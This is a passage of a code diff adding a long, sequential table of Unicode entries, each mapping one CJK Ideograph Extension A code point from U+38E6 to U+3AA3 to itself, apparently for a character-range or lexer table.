+ ["\u38E6", "\u38E6"], /* CJK Ideograph Extension A */
+ ["\u38E7", "\u38E7"], /* CJK Ideograph Extension A */
+ ["\u38E8", "\u38E8"], /* CJK Ideograph Extension A */
+ ["\u38E9", "\u38E9"], /* CJK Ideograph Extension A */
+ ["\u38EA", "\u38EA"], /* CJK Ideograph Extension A */
+ ["\u38EB", "\u38EB"], /* CJK Ideograph Extension A */
+ ["\u38EC", "\u38EC"], /* CJK Ideograph Extension A */
+ ["\u38ED", "\u38ED"], /* CJK Ideograph Extension A */
+ ["\u38EE", "\u38EE"], /* CJK Ideograph Extension A */
+ ["\u38EF", "\u38EF"], /* CJK Ideograph Extension A */
+ ["\u38F0", "\u38F0"], /* CJK Ideograph Extension A */
+ ["\u38F1", "\u38F1"], /* CJK Ideograph Extension A */
+ ["\u38F2", "\u38F2"], /* CJK Ideograph Extension A */
+ ["\u38F3", "\u38F3"], /* CJK Ideograph Extension A */
+ ["\u38F4", "\u38F4"], /* CJK Ideograph Extension A */
+ ["\u38F5", "\u38F5"], /* CJK Ideograph Extension A */
+ ["\u38F6", "\u38F6"], /* CJK Ideograph Extension A */
+ ["\u38F7", "\u38F7"], /* CJK Ideograph Extension A */
+ ["\u38F8", "\u38F8"], /* CJK Ideograph Extension A */
+ ["\u38F9", "\u38F9"], /* CJK Ideograph Extension A */
+ ["\u38FA", "\u38FA"], /* CJK Ideograph Extension A */
+ ["\u38FB", "\u38FB"], /* CJK Ideograph Extension A */
+ ["\u38FC", "\u38FC"], /* CJK Ideograph Extension A */
+ ["\u38FD", "\u38FD"], /* CJK Ideograph Extension A */
+ ["\u38FE", "\u38FE"], /* CJK Ideograph Extension A */
+ ["\u38FF", "\u38FF"], /* CJK Ideograph Extension A */
+ ["\u3900", "\u3900"], /* CJK Ideograph Extension A */
+ ["\u3901", "\u3901"], /* CJK Ideograph Extension A */
+ ["\u3902", "\u3902"], /* CJK Ideograph Extension A */
+ ["\u3903", "\u3903"], /* CJK Ideograph Extension A */
+ ["\u3904", "\u3904"], /* CJK Ideograph Extension A */
+ ["\u3905", "\u3905"], /* CJK Ideograph Extension A */
+ ["\u3906", "\u3906"], /* CJK Ideograph Extension A */
+ ["\u3907", "\u3907"], /* CJK Ideograph Extension A */
+ ["\u3908", "\u3908"], /* CJK Ideograph Extension A */
+ ["\u3909", "\u3909"], /* CJK Ideograph Extension A */
+ ["\u390A", "\u390A"], /* CJK Ideograph Extension A */
+ ["\u390B", "\u390B"], /* CJK Ideograph Extension A */
+ ["\u390C", "\u390C"], /* CJK Ideograph Extension A */
+ ["\u390D", "\u390D"], /* CJK Ideograph Extension A */
+ ["\u390E", "\u390E"], /* CJK Ideograph Extension A */
+ ["\u390F", "\u390F"], /* CJK Ideograph Extension A */
+ ["\u3910", "\u3910"], /* CJK Ideograph Extension A */
+ ["\u3911", "\u3911"], /* CJK Ideograph Extension A */
+ ["\u3912", "\u3912"], /* CJK Ideograph Extension A */
+ ["\u3913", "\u3913"], /* CJK Ideograph Extension A */
+ ["\u3914", "\u3914"], /* CJK Ideograph Extension A */
+ ["\u3915", "\u3915"], /* CJK Ideograph Extension A */
+ ["\u3916", "\u3916"], /* CJK Ideograph Extension A */
+ ["\u3917", "\u3917"], /* CJK Ideograph Extension A */
+ ["\u3918", "\u3918"], /* CJK Ideograph Extension A */
+ ["\u3919", "\u3919"], /* CJK Ideograph Extension A */
+ ["\u391A", "\u391A"], /* CJK Ideograph Extension A */
+ ["\u391B", "\u391B"], /* CJK Ideograph Extension A */
+ ["\u391C", "\u391C"], /* CJK Ideograph Extension A */
+ ["\u391D", "\u391D"], /* CJK Ideograph Extension A */
+ ["\u391E", "\u391E"], /* CJK Ideograph Extension A */
+ ["\u391F", "\u391F"], /* CJK Ideograph Extension A */
+ ["\u3920", "\u3920"], /* CJK Ideograph Extension A */
+ ["\u3921", "\u3921"], /* CJK Ideograph Extension A */
+ ["\u3922", "\u3922"], /* CJK Ideograph Extension A */
+ ["\u3923", "\u3923"], /* CJK Ideograph Extension A */
+ ["\u3924", "\u3924"], /* CJK Ideograph Extension A */
+ ["\u3925", "\u3925"], /* CJK Ideograph Extension A */
+ ["\u3926", "\u3926"], /* CJK Ideograph Extension A */
+ ["\u3927", "\u3927"], /* CJK Ideograph Extension A */
+ ["\u3928", "\u3928"], /* CJK Ideograph Extension A */
+ ["\u3929", "\u3929"], /* CJK Ideograph Extension A */
+ ["\u392A", "\u392A"], /* CJK Ideograph Extension A */
+ ["\u392B", "\u392B"], /* CJK Ideograph Extension A */
+ ["\u392C", "\u392C"], /* CJK Ideograph Extension A */
+ ["\u392D", "\u392D"], /* CJK Ideograph Extension A */
+ ["\u392E", "\u392E"], /* CJK Ideograph Extension A */
+ ["\u392F", "\u392F"], /* CJK Ideograph Extension A */
+ ["\u3930", "\u3930"], /* CJK Ideograph Extension A */
+ ["\u3931", "\u3931"], /* CJK Ideograph Extension A */
+ ["\u3932", "\u3932"], /* CJK Ideograph Extension A */
+ ["\u3933", "\u3933"], /* CJK Ideograph Extension A */
+ ["\u3934", "\u3934"], /* CJK Ideograph Extension A */
+ ["\u3935", "\u3935"], /* CJK Ideograph Extension A */
+ ["\u3936", "\u3936"], /* CJK Ideograph Extension A */
+ ["\u3937", "\u3937"], /* CJK Ideograph Extension A */
+ ["\u3938", "\u3938"], /* CJK Ideograph Extension A */
+ ["\u3939", "\u3939"], /* CJK Ideograph Extension A */
+ ["\u393A", "\u393A"], /* CJK Ideograph Extension A */
+ ["\u393B", "\u393B"], /* CJK Ideograph Extension A */
+ ["\u393C", "\u393C"], /* CJK Ideograph Extension A */
+ ["\u393D", "\u393D"], /* CJK Ideograph Extension A */
+ ["\u393E", "\u393E"], /* CJK Ideograph Extension A */
+ ["\u393F", "\u393F"], /* CJK Ideograph Extension A */
+ ["\u3940", "\u3940"], /* CJK Ideograph Extension A */
+ ["\u3941", "\u3941"], /* CJK Ideograph Extension A */
+ ["\u3942", "\u3942"], /* CJK Ideograph Extension A */
+ ["\u3943", "\u3943"], /* CJK Ideograph Extension A */
+ ["\u3944", "\u3944"], /* CJK Ideograph Extension A */
+ ["\u3945", "\u3945"], /* CJK Ideograph Extension A */
+ ["\u3946", "\u3946"], /* CJK Ideograph Extension A */
+ ["\u3947", "\u3947"], /* CJK Ideograph Extension A */
+ ["\u3948", "\u3948"], /* CJK Ideograph Extension A */
+ ["\u3949", "\u3949"], /* CJK Ideograph Extension A */
+ ["\u394A", "\u394A"], /* CJK Ideograph Extension A */
+ ["\u394B", "\u394B"], /* CJK Ideograph Extension A */
+ ["\u394C", "\u394C"], /* CJK Ideograph Extension A */
+ ["\u394D", "\u394D"], /* CJK Ideograph Extension A */
+ ["\u394E", "\u394E"], /* CJK Ideograph Extension A */
+ ["\u394F", "\u394F"], /* CJK Ideograph Extension A */
+ ["\u3950", "\u3950"], /* CJK Ideograph Extension A */
+ ["\u3951", "\u3951"], /* CJK Ideograph Extension A */
+ ["\u3952", "\u3952"], /* CJK Ideograph Extension A */
+ ["\u3953", "\u3953"], /* CJK Ideograph Extension A */
+ ["\u3954", "\u3954"], /* CJK Ideograph Extension A */
+ ["\u3955", "\u3955"], /* CJK Ideograph Extension A */
+ ["\u3956", "\u3956"], /* CJK Ideograph Extension A */
+ ["\u3957", "\u3957"], /* CJK Ideograph Extension A */
+ ["\u3958", "\u3958"], /* CJK Ideograph Extension A */
+ ["\u3959", "\u3959"], /* CJK Ideograph Extension A */
+ ["\u395A", "\u395A"], /* CJK Ideograph Extension A */
+ ["\u395B", "\u395B"], /* CJK Ideograph Extension A */
+ ["\u395C", "\u395C"], /* CJK Ideograph Extension A */
+ ["\u395D", "\u395D"], /* CJK Ideograph Extension A */
+ ["\u395E", "\u395E"], /* CJK Ideograph Extension A */
+ ["\u395F", "\u395F"], /* CJK Ideograph Extension A */
+ ["\u3960", "\u3960"], /* CJK Ideograph Extension A */
+ ["\u3961", "\u3961"], /* CJK Ideograph Extension A */
+ ["\u3962", "\u3962"], /* CJK Ideograph Extension A */
+ ["\u3963", "\u3963"], /* CJK Ideograph Extension A */
+ ["\u3964", "\u3964"], /* CJK Ideograph Extension A */
+ ["\u3965", "\u3965"], /* CJK Ideograph Extension A */
+ ["\u3966", "\u3966"], /* CJK Ideograph Extension A */
+ ["\u3967", "\u3967"], /* CJK Ideograph Extension A */
+ ["\u3968", "\u3968"], /* CJK Ideograph Extension A */
+ ["\u3969", "\u3969"], /* CJK Ideograph Extension A */
+ ["\u396A", "\u396A"], /* CJK Ideograph Extension A */
+ ["\u396B", "\u396B"], /* CJK Ideograph Extension A */
+ ["\u396C", "\u396C"], /* CJK Ideograph Extension A */
+ ["\u396D", "\u396D"], /* CJK Ideograph Extension A */
+ ["\u396E", "\u396E"], /* CJK Ideograph Extension A */
+ ["\u396F", "\u396F"], /* CJK Ideograph Extension A */
+ ["\u3970", "\u3970"], /* CJK Ideograph Extension A */
+ ["\u3971", "\u3971"], /* CJK Ideograph Extension A */
+ ["\u3972", "\u3972"], /* CJK Ideograph Extension A */
+ ["\u3973", "\u3973"], /* CJK Ideograph Extension A */
+ ["\u3974", "\u3974"], /* CJK Ideograph Extension A */
+ ["\u3975", "\u3975"], /* CJK Ideograph Extension A */
+ ["\u3976", "\u3976"], /* CJK Ideograph Extension A */
+ ["\u3977", "\u3977"], /* CJK Ideograph Extension A */
+ ["\u3978", "\u3978"], /* CJK Ideograph Extension A */
+ ["\u3979", "\u3979"], /* CJK Ideograph Extension A */
+ ["\u397A", "\u397A"], /* CJK Ideograph Extension A */
+ ["\u397B", "\u397B"], /* CJK Ideograph Extension A */
+ ["\u397C", "\u397C"], /* CJK Ideograph Extension A */
+ ["\u397D", "\u397D"], /* CJK Ideograph Extension A */
+ ["\u397E", "\u397E"], /* CJK Ideograph Extension A */
+ ["\u397F", "\u397F"], /* CJK Ideograph Extension A */
+ ["\u3980", "\u3980"], /* CJK Ideograph Extension A */
+ ["\u3981", "\u3981"], /* CJK Ideograph Extension A */
+ ["\u3982", "\u3982"], /* CJK Ideograph Extension A */
+ ["\u3983", "\u3983"], /* CJK Ideograph Extension A */
+ ["\u3984", "\u3984"], /* CJK Ideograph Extension A */
+ ["\u3985", "\u3985"], /* CJK Ideograph Extension A */
+ ["\u3986", "\u3986"], /* CJK Ideograph Extension A */
+ ["\u3987", "\u3987"], /* CJK Ideograph Extension A */
+ ["\u3988", "\u3988"], /* CJK Ideograph Extension A */
+ ["\u3989", "\u3989"], /* CJK Ideograph Extension A */
+ ["\u398A", "\u398A"], /* CJK Ideograph Extension A */
+ ["\u398B", "\u398B"], /* CJK Ideograph Extension A */
+ ["\u398C", "\u398C"], /* CJK Ideograph Extension A */
+ ["\u398D", "\u398D"], /* CJK Ideograph Extension A */
+ ["\u398E", "\u398E"], /* CJK Ideograph Extension A */
+ ["\u398F", "\u398F"], /* CJK Ideograph Extension A */
+ ["\u3990", "\u3990"], /* CJK Ideograph Extension A */
+ ["\u3991", "\u3991"], /* CJK Ideograph Extension A */
+ ["\u3992", "\u3992"], /* CJK Ideograph Extension A */
+ ["\u3993", "\u3993"], /* CJK Ideograph Extension A */
+ ["\u3994", "\u3994"], /* CJK Ideograph Extension A */
+ ["\u3995", "\u3995"], /* CJK Ideograph Extension A */
+ ["\u3996", "\u3996"], /* CJK Ideograph Extension A */
+ ["\u3997", "\u3997"], /* CJK Ideograph Extension A */
+ ["\u3998", "\u3998"], /* CJK Ideograph Extension A */
+ ["\u3999", "\u3999"], /* CJK Ideograph Extension A */
+ ["\u399A", "\u399A"], /* CJK Ideograph Extension A */
+ ["\u399B", "\u399B"], /* CJK Ideograph Extension A */
+ ["\u399C", "\u399C"], /* CJK Ideograph Extension A */
+ ["\u399D", "\u399D"], /* CJK Ideograph Extension A */
+ ["\u399E", "\u399E"], /* CJK Ideograph Extension A */
+ ["\u399F", "\u399F"], /* CJK Ideograph Extension A */
+ ["\u39A0", "\u39A0"], /* CJK Ideograph Extension A */
+ ["\u39A1", "\u39A1"], /* CJK Ideograph Extension A */
+ ["\u39A2", "\u39A2"], /* CJK Ideograph Extension A */
+ ["\u39A3", "\u39A3"], /* CJK Ideograph Extension A */
+ ["\u39A4", "\u39A4"], /* CJK Ideograph Extension A */
+ ["\u39A5", "\u39A5"], /* CJK Ideograph Extension A */
+ ["\u39A6", "\u39A6"], /* CJK Ideograph Extension A */
+ ["\u39A7", "\u39A7"], /* CJK Ideograph Extension A */
+ ["\u39A8", "\u39A8"], /* CJK Ideograph Extension A */
+ ["\u39A9", "\u39A9"], /* CJK Ideograph Extension A */
+ ["\u39AA", "\u39AA"], /* CJK Ideograph Extension A */
+ ["\u39AB", "\u39AB"], /* CJK Ideograph Extension A */
+ ["\u39AC", "\u39AC"], /* CJK Ideograph Extension A */
+ ["\u39AD", "\u39AD"], /* CJK Ideograph Extension A */
+ ["\u39AE", "\u39AE"], /* CJK Ideograph Extension A */
+ ["\u39AF", "\u39AF"], /* CJK Ideograph Extension A */
+ ["\u39B0", "\u39B0"], /* CJK Ideograph Extension A */
+ ["\u39B1", "\u39B1"], /* CJK Ideograph Extension A */
+ ["\u39B2", "\u39B2"], /* CJK Ideograph Extension A */
+ ["\u39B3", "\u39B3"], /* CJK Ideograph Extension A */
+ ["\u39B4", "\u39B4"], /* CJK Ideograph Extension A */
+ ["\u39B5", "\u39B5"], /* CJK Ideograph Extension A */
+ ["\u39B6", "\u39B6"], /* CJK Ideograph Extension A */
+ ["\u39B7", "\u39B7"], /* CJK Ideograph Extension A */
+ ["\u39B8", "\u39B8"], /* CJK Ideograph Extension A */
+ ["\u39B9", "\u39B9"], /* CJK Ideograph Extension A */
+ ["\u39BA", "\u39BA"], /* CJK Ideograph Extension A */
+ ["\u39BB", "\u39BB"], /* CJK Ideograph Extension A */
+ ["\u39BC", "\u39BC"], /* CJK Ideograph Extension A */
+ ["\u39BD", "\u39BD"], /* CJK Ideograph Extension A */
+ ["\u39BE", "\u39BE"], /* CJK Ideograph Extension A */
+ ["\u39BF", "\u39BF"], /* CJK Ideograph Extension A */
+ ["\u39C0", "\u39C0"], /* CJK Ideograph Extension A */
+ ["\u39C1", "\u39C1"], /* CJK Ideograph Extension A */
+ ["\u39C2", "\u39C2"], /* CJK Ideograph Extension A */
+ ["\u39C3", "\u39C3"], /* CJK Ideograph Extension A */
+ ["\u39C4", "\u39C4"], /* CJK Ideograph Extension A */
+ ["\u39C5", "\u39C5"], /* CJK Ideograph Extension A */
+ ["\u39C6", "\u39C6"], /* CJK Ideograph Extension A */
+ ["\u39C7", "\u39C7"], /* CJK Ideograph Extension A */
+ ["\u39C8", "\u39C8"], /* CJK Ideograph Extension A */
+ ["\u39C9", "\u39C9"], /* CJK Ideograph Extension A */
+ ["\u39CA", "\u39CA"], /* CJK Ideograph Extension A */
+ ["\u39CB", "\u39CB"], /* CJK Ideograph Extension A */
+ ["\u39CC", "\u39CC"], /* CJK Ideograph Extension A */
+ ["\u39CD", "\u39CD"], /* CJK Ideograph Extension A */
+ ["\u39CE", "\u39CE"], /* CJK Ideograph Extension A */
+ ["\u39CF", "\u39CF"], /* CJK Ideograph Extension A */
+ ["\u39D0", "\u39D0"], /* CJK Ideograph Extension A */
+ ["\u39D1", "\u39D1"], /* CJK Ideograph Extension A */
+ ["\u39D2", "\u39D2"], /* CJK Ideograph Extension A */
+ ["\u39D3", "\u39D3"], /* CJK Ideograph Extension A */
+ ["\u39D4", "\u39D4"], /* CJK Ideograph Extension A */
+ ["\u39D5", "\u39D5"], /* CJK Ideograph Extension A */
+ ["\u39D6", "\u39D6"], /* CJK Ideograph Extension A */
+ ["\u39D7", "\u39D7"], /* CJK Ideograph Extension A */
+ ["\u39D8", "\u39D8"], /* CJK Ideograph Extension A */
+ ["\u39D9", "\u39D9"], /* CJK Ideograph Extension A */
+ ["\u39DA", "\u39DA"], /* CJK Ideograph Extension A */
+ ["\u39DB", "\u39DB"], /* CJK Ideograph Extension A */
+ ["\u39DC", "\u39DC"], /* CJK Ideograph Extension A */
+ ["\u39DD", "\u39DD"], /* CJK Ideograph Extension A */
+ ["\u39DE", "\u39DE"], /* CJK Ideograph Extension A */
+ ["\u39DF", "\u39DF"], /* CJK Ideograph Extension A */
+ ["\u39E0", "\u39E0"], /* CJK Ideograph Extension A */
+ ["\u39E1", "\u39E1"], /* CJK Ideograph Extension A */
+ ["\u39E2", "\u39E2"], /* CJK Ideograph Extension A */
+ ["\u39E3", "\u39E3"], /* CJK Ideograph Extension A */
+ ["\u39E4", "\u39E4"], /* CJK Ideograph Extension A */
+ ["\u39E5", "\u39E5"], /* CJK Ideograph Extension A */
+ ["\u39E6", "\u39E6"], /* CJK Ideograph Extension A */
+ ["\u39E7", "\u39E7"], /* CJK Ideograph Extension A */
+ ["\u39E8", "\u39E8"], /* CJK Ideograph Extension A */
+ ["\u39E9", "\u39E9"], /* CJK Ideograph Extension A */
+ ["\u39EA", "\u39EA"], /* CJK Ideograph Extension A */
+ ["\u39EB", "\u39EB"], /* CJK Ideograph Extension A */
+ ["\u39EC", "\u39EC"], /* CJK Ideograph Extension A */
+ ["\u39ED", "\u39ED"], /* CJK Ideograph Extension A */
+ ["\u39EE", "\u39EE"], /* CJK Ideograph Extension A */
+ ["\u39EF", "\u39EF"], /* CJK Ideograph Extension A */
+ ["\u39F0", "\u39F0"], /* CJK Ideograph Extension A */
+ ["\u39F1", "\u39F1"], /* CJK Ideograph Extension A */
+ ["\u39F2", "\u39F2"], /* CJK Ideograph Extension A */
+ ["\u39F3", "\u39F3"], /* CJK Ideograph Extension A */
+ ["\u39F4", "\u39F4"], /* CJK Ideograph Extension A */
+ ["\u39F5", "\u39F5"], /* CJK Ideograph Extension A */
+ ["\u39F6", "\u39F6"], /* CJK Ideograph Extension A */
+ ["\u39F7", "\u39F7"], /* CJK Ideograph Extension A */
+ ["\u39F8", "\u39F8"], /* CJK Ideograph Extension A */
+ ["\u39F9", "\u39F9"], /* CJK Ideograph Extension A */
+ ["\u39FA", "\u39FA"], /* CJK Ideograph Extension A */
+ ["\u39FB", "\u39FB"], /* CJK Ideograph Extension A */
+ ["\u39FC", "\u39FC"], /* CJK Ideograph Extension A */
+ ["\u39FD", "\u39FD"], /* CJK Ideograph Extension A */
+ ["\u39FE", "\u39FE"], /* CJK Ideograph Extension A */
+ ["\u39FF", "\u39FF"], /* CJK Ideograph Extension A */
+ ["\u3A00", "\u3A00"], /* CJK Ideograph Extension A */
+ ["\u3A01", "\u3A01"], /* CJK Ideograph Extension A */
+ ["\u3A02", "\u3A02"], /* CJK Ideograph Extension A */
+ ["\u3A03", "\u3A03"], /* CJK Ideograph Extension A */
+ ["\u3A04", "\u3A04"], /* CJK Ideograph Extension A */
+ ["\u3A05", "\u3A05"], /* CJK Ideograph Extension A */
+ ["\u3A06", "\u3A06"], /* CJK Ideograph Extension A */
+ ["\u3A07", "\u3A07"], /* CJK Ideograph Extension A */
+ ["\u3A08", "\u3A08"], /* CJK Ideograph Extension A */
+ ["\u3A09", "\u3A09"], /* CJK Ideograph Extension A */
+ ["\u3A0A", "\u3A0A"], /* CJK Ideograph Extension A */
+ ["\u3A0B", "\u3A0B"], /* CJK Ideograph Extension A */
+ ["\u3A0C", "\u3A0C"], /* CJK Ideograph Extension A */
+ ["\u3A0D", "\u3A0D"], /* CJK Ideograph Extension A */
+ ["\u3A0E", "\u3A0E"], /* CJK Ideograph Extension A */
+ ["\u3A0F", "\u3A0F"], /* CJK Ideograph Extension A */
+ ["\u3A10", "\u3A10"], /* CJK Ideograph Extension A */
+ ["\u3A11", "\u3A11"], /* CJK Ideograph Extension A */
+ ["\u3A12", "\u3A12"], /* CJK Ideograph Extension A */
+ ["\u3A13", "\u3A13"], /* CJK Ideograph Extension A */
+ ["\u3A14", "\u3A14"], /* CJK Ideograph Extension A */
+ ["\u3A15", "\u3A15"], /* CJK Ideograph Extension A */
+ ["\u3A16", "\u3A16"], /* CJK Ideograph Extension A */
+ ["\u3A17", "\u3A17"], /* CJK Ideograph Extension A */
+ ["\u3A18", "\u3A18"], /* CJK Ideograph Extension A */
+ ["\u3A19", "\u3A19"], /* CJK Ideograph Extension A */
+ ["\u3A1A", "\u3A1A"], /* CJK Ideograph Extension A */
+ ["\u3A1B", "\u3A1B"], /* CJK Ideograph Extension A */
+ ["\u3A1C", "\u3A1C"], /* CJK Ideograph Extension A */
+ ["\u3A1D", "\u3A1D"], /* CJK Ideograph Extension A */
+ ["\u3A1E", "\u3A1E"], /* CJK Ideograph Extension A */
+ ["\u3A1F", "\u3A1F"], /* CJK Ideograph Extension A */
+ ["\u3A20", "\u3A20"], /* CJK Ideograph Extension A */
+ ["\u3A21", "\u3A21"], /* CJK Ideograph Extension A */
+ ["\u3A22", "\u3A22"], /* CJK Ideograph Extension A */
+ ["\u3A23", "\u3A23"], /* CJK Ideograph Extension A */
+ ["\u3A24", "\u3A24"], /* CJK Ideograph Extension A */
+ ["\u3A25", "\u3A25"], /* CJK Ideograph Extension A */
+ ["\u3A26", "\u3A26"], /* CJK Ideograph Extension A */
+ ["\u3A27", "\u3A27"], /* CJK Ideograph Extension A */
+ ["\u3A28", "\u3A28"], /* CJK Ideograph Extension A */
+ ["\u3A29", "\u3A29"], /* CJK Ideograph Extension A */
+ ["\u3A2A", "\u3A2A"], /* CJK Ideograph Extension A */
+ ["\u3A2B", "\u3A2B"], /* CJK Ideograph Extension A */
+ ["\u3A2C", "\u3A2C"], /* CJK Ideograph Extension A */
+ ["\u3A2D", "\u3A2D"], /* CJK Ideograph Extension A */
+ ["\u3A2E", "\u3A2E"], /* CJK Ideograph Extension A */
+ ["\u3A2F", "\u3A2F"], /* CJK Ideograph Extension A */
+ ["\u3A30", "\u3A30"], /* CJK Ideograph Extension A */
+ ["\u3A31", "\u3A31"], /* CJK Ideograph Extension A */
+ ["\u3A32", "\u3A32"], /* CJK Ideograph Extension A */
+ ["\u3A33", "\u3A33"], /* CJK Ideograph Extension A */
+ ["\u3A34", "\u3A34"], /* CJK Ideograph Extension A */
+ ["\u3A35", "\u3A35"], /* CJK Ideograph Extension A */
+ ["\u3A36", "\u3A36"], /* CJK Ideograph Extension A */
+ ["\u3A37", "\u3A37"], /* CJK Ideograph Extension A */
+ ["\u3A38", "\u3A38"], /* CJK Ideograph Extension A */
+ ["\u3A39", "\u3A39"], /* CJK Ideograph Extension A */
+ ["\u3A3A", "\u3A3A"], /* CJK Ideograph Extension A */
+ ["\u3A3B", "\u3A3B"], /* CJK Ideograph Extension A */
+ ["\u3A3C", "\u3A3C"], /* CJK Ideograph Extension A */
+ ["\u3A3D", "\u3A3D"], /* CJK Ideograph Extension A */
+ ["\u3A3E", "\u3A3E"], /* CJK Ideograph Extension A */
+ ["\u3A3F", "\u3A3F"], /* CJK Ideograph Extension A */
+ ["\u3A40", "\u3A40"], /* CJK Ideograph Extension A */
+ ["\u3A41", "\u3A41"], /* CJK Ideograph Extension A */
+ ["\u3A42", "\u3A42"], /* CJK Ideograph Extension A */
+ ["\u3A43", "\u3A43"], /* CJK Ideograph Extension A */
+ ["\u3A44", "\u3A44"], /* CJK Ideograph Extension A */
+ ["\u3A45", "\u3A45"], /* CJK Ideograph Extension A */
+ ["\u3A46", "\u3A46"], /* CJK Ideograph Extension A */
+ ["\u3A47", "\u3A47"], /* CJK Ideograph Extension A */
+ ["\u3A48", "\u3A48"], /* CJK Ideograph Extension A */
+ ["\u3A49", "\u3A49"], /* CJK Ideograph Extension A */
+ ["\u3A4A", "\u3A4A"], /* CJK Ideograph Extension A */
+ ["\u3A4B", "\u3A4B"], /* CJK Ideograph Extension A */
+ ["\u3A4C", "\u3A4C"], /* CJK Ideograph Extension A */
+ ["\u3A4D", "\u3A4D"], /* CJK Ideograph Extension A */
+ ["\u3A4E", "\u3A4E"], /* CJK Ideograph Extension A */
+ ["\u3A4F", "\u3A4F"], /* CJK Ideograph Extension A */
+ ["\u3A50", "\u3A50"], /* CJK Ideograph Extension A */
+ ["\u3A51", "\u3A51"], /* CJK Ideograph Extension A */
+ ["\u3A52", "\u3A52"], /* CJK Ideograph Extension A */
+ ["\u3A53", "\u3A53"], /* CJK Ideograph Extension A */
+ ["\u3A54", "\u3A54"], /* CJK Ideograph Extension A */
+ ["\u3A55", "\u3A55"], /* CJK Ideograph Extension A */
+ ["\u3A56", "\u3A56"], /* CJK Ideograph Extension A */
+ ["\u3A57", "\u3A57"], /* CJK Ideograph Extension A */
+ ["\u3A58", "\u3A58"], /* CJK Ideograph Extension A */
+ ["\u3A59", "\u3A59"], /* CJK Ideograph Extension A */
+ ["\u3A5A", "\u3A5A"], /* CJK Ideograph Extension A */
+ ["\u3A5B", "\u3A5B"], /* CJK Ideograph Extension A */
+ ["\u3A5C", "\u3A5C"], /* CJK Ideograph Extension A */
+ ["\u3A5D", "\u3A5D"], /* CJK Ideograph Extension A */
+ ["\u3A5E", "\u3A5E"], /* CJK Ideograph Extension A */
+ ["\u3A5F", "\u3A5F"], /* CJK Ideograph Extension A */
+ ["\u3A60", "\u3A60"], /* CJK Ideograph Extension A */
+ ["\u3A61", "\u3A61"], /* CJK Ideograph Extension A */
+ ["\u3A62", "\u3A62"], /* CJK Ideograph Extension A */
+ ["\u3A63", "\u3A63"], /* CJK Ideograph Extension A */
+ ["\u3A64", "\u3A64"], /* CJK Ideograph Extension A */
+ ["\u3A65", "\u3A65"], /* CJK Ideograph Extension A */
+ ["\u3A66", "\u3A66"], /* CJK Ideograph Extension A */
+ ["\u3A67", "\u3A67"], /* CJK Ideograph Extension A */
+ ["\u3A68", "\u3A68"], /* CJK Ideograph Extension A */
+ ["\u3A69", "\u3A69"], /* CJK Ideograph Extension A */
+ ["\u3A6A", "\u3A6A"], /* CJK Ideograph Extension A */
+ ["\u3A6B", "\u3A6B"], /* CJK Ideograph Extension A */
+ ["\u3A6C", "\u3A6C"], /* CJK Ideograph Extension A */
+ ["\u3A6D", "\u3A6D"], /* CJK Ideograph Extension A */
+ ["\u3A6E", "\u3A6E"], /* CJK Ideograph Extension A */
+ ["\u3A6F", "\u3A6F"], /* CJK Ideograph Extension A */
+ ["\u3A70", "\u3A70"], /* CJK Ideograph Extension A */
+ ["\u3A71", "\u3A71"], /* CJK Ideograph Extension A */
+ ["\u3A72", "\u3A72"], /* CJK Ideograph Extension A */
+ ["\u3A73", "\u3A73"], /* CJK Ideograph Extension A */
+ ["\u3A74", "\u3A74"], /* CJK Ideograph Extension A */
+ ["\u3A75", "\u3A75"], /* CJK Ideograph Extension A */
+ ["\u3A76", "\u3A76"], /* CJK Ideograph Extension A */
+ ["\u3A77", "\u3A77"], /* CJK Ideograph Extension A */
+ ["\u3A78", "\u3A78"], /* CJK Ideograph Extension A */
+ ["\u3A79", "\u3A79"], /* CJK Ideograph Extension A */
+ ["\u3A7A", "\u3A7A"], /* CJK Ideograph Extension A */
+ ["\u3A7B", "\u3A7B"], /* CJK Ideograph Extension A */
+ ["\u3A7C", "\u3A7C"], /* CJK Ideograph Extension A */
+ ["\u3A7D", "\u3A7D"], /* CJK Ideograph Extension A */
+ ["\u3A7E", "\u3A7E"], /* CJK Ideograph Extension A */
+ ["\u3A7F", "\u3A7F"], /* CJK Ideograph Extension A */
+ ["\u3A80", "\u3A80"], /* CJK Ideograph Extension A */
+ ["\u3A81", "\u3A81"], /* CJK Ideograph Extension A */
+ ["\u3A82", "\u3A82"], /* CJK Ideograph Extension A */
+ ["\u3A83", "\u3A83"], /* CJK Ideograph Extension A */
+ ["\u3A84", "\u3A84"], /* CJK Ideograph Extension A */
+ ["\u3A85", "\u3A85"], /* CJK Ideograph Extension A */
+ ["\u3A86", "\u3A86"], /* CJK Ideograph Extension A */
+ ["\u3A87", "\u3A87"], /* CJK Ideograph Extension A */
+ ["\u3A88", "\u3A88"], /* CJK Ideograph Extension A */
+ ["\u3A89", "\u3A89"], /* CJK Ideograph Extension A */
+ ["\u3A8A", "\u3A8A"], /* CJK Ideograph Extension A */
+ ["\u3A8B", "\u3A8B"], /* CJK Ideograph Extension A */
+ ["\u3A8C", "\u3A8C"], /* CJK Ideograph Extension A */
+ ["\u3A8D", "\u3A8D"], /* CJK Ideograph Extension A */
+ ["\u3A8E", "\u3A8E"], /* CJK Ideograph Extension A */
+ ["\u3A8F", "\u3A8F"], /* CJK Ideograph Extension A */
+ ["\u3A90", "\u3A90"], /* CJK Ideograph Extension A */
+ ["\u3A91", "\u3A91"], /* CJK Ideograph Extension A */
+ ["\u3A92", "\u3A92"], /* CJK Ideograph Extension A */
+ ["\u3A93", "\u3A93"], /* CJK Ideograph Extension A */
+ ["\u3A94", "\u3A94"], /* CJK Ideograph Extension A */
+ ["\u3A95", "\u3A95"], /* CJK Ideograph Extension A */
+ ["\u3A96", "\u3A96"], /* CJK Ideograph Extension A */
+ ["\u3A97", "\u3A97"], /* CJK Ideograph Extension A */
+ ["\u3A98", "\u3A98"], /* CJK Ideograph Extension A */
+ ["\u3A99", "\u3A99"], /* CJK Ideograph Extension A */
+ ["\u3A9A", "\u3A9A"], /* CJK Ideograph Extension A */
+ ["\u3A9B", "\u3A9B"], /* CJK Ideograph Extension A */
+ ["\u3A9C", "\u3A9C"], /* CJK Ideograph Extension A */
+ ["\u3A9D", "\u3A9D"], /* CJK Ideograph Extension A */
+ ["\u3A9E", "\u3A9E"], /* CJK Ideograph Extension A */
+ ["\u3A9F", "\u3A9F"], /* CJK Ideograph Extension A */
+ ["\u3AA0", "\u3AA0"], /* CJK Ideograph Extension A */
+ ["\u3AA1", "\u3AA1"], /* CJK Ideograph Extension A */
+ ["\u3AA2", "\u3AA2"], /* CJK Ideograph Extension A */
+ ["\u3AA3", "\u3AA3"], /* CJK Ideograph Extension A */
